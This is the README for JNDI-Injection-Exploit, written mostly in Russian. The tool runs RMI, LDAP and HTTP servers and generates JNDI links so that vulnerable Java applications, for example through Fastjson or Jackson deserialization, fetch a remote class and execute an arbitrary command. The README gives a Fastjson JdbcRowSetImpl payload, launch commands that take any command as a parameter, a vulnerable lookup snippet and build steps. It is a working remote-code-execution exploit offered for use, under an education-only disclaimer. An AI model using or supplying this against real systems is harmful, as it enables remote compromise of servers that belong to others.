
JNDI注入测试工具(Инструмент, который генерирует JNDI-ссылки и может запускать несколько серверов для эксплуатации уязвимости JNDI Injection, например, Jackson, Fastjson и т.д)
JNDI-Injection-Exploit — это инструмент для генерации рабочих JNDI-ссылок и предоставления фоновых служб путём запуска RMI-сервера, LDAP-сервера и HTTP-сервера. RMI-сервер и LDAP-сервер основаны на marshalsec и дополнительно модифицированы для связи с HTTP-сервером.
С помощью этого инструмента вы можете получить JNDI-ссылки и вставить их в ваш POC для тестирования уязвимости.
Например, это Fastjson-уязвимость POC:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Мы можем заменить "rmi://127.0.0.1:1099/Object" на ссылку, сгенерированную JNDI-Injection-Exploit, для тестирования уязвимости.
Вся информация и код предоставлены исключительно в образовательных целях и/или для тестирования ваших собственных систем на наличие этих уязвимостей.
Запуск:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [команда] [-A] [адрес]
где:
-C — команда, выполняемая в удалённом class-файле.
(необязательно, по умолчанию команда — "open /Applications/Calculator.app")
-A — адрес вашего сервера, может быть IP-адресом или доменом.
(необязательно, по умолчанию адрес — адрес первого сетевого интерфейса)
На что обратить внимание:
убедитесь, что порты вашего сервера (1099, 1389, 8180) доступны.
или вы можете изменить порт по умолчанию в классе run.ServerStart, строки 26–28.
ваша команда передаётся в Runtime.getRuntime().exec() в качестве параметров,
поэтому вам нужно убедиться, что команда работает в методе exec().
Команда в bash, например "bash -c ....", должна быть заключена в двойные кавычки.
Локальная демонстрация:
Запустите инструмент следующим образом:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
Скриншот:

Предположим, что мы внедряем JNDI-ссылки, такие как rmi://ADDRESS/jfxllc, сгенерированные на шаге 1, в уязвимое приложение, которое можно атаковать с помощью JNDI-инъекции.
В этом примере это выглядит так:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
затем, когда мы запускаем этот код, команда будет выполнена,
и в оболочку будет выведен лог:

Мы можем выбрать один из двух способов получения jar-файла.
Загрузите последнюю версию jar из Релиза.
Клонируйте исходный код локально и соберите (требуется Java 1.8+ и Maven 3.x+).
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests